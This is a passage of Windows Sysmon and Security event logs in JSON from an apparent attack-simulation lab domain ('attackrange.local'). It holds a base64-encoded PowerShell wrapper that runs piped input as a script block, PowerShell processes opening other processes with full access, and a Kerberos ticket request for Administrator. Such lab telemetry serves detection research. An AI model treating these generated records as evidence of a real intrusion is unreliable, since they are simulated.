JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nSourceProcessId: 4428\r\nSourceThreadId: 5020\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nTargetProcessId: 5076\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA478890)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","SourceProcessId":"4428","SourceThreadId":"5020","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","TargetProcessId":"5076","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA478890)","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nTargetProcessId: 5076\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","TargetProcessId":"5076","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.227\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.227","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.243\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.243","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221964,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication 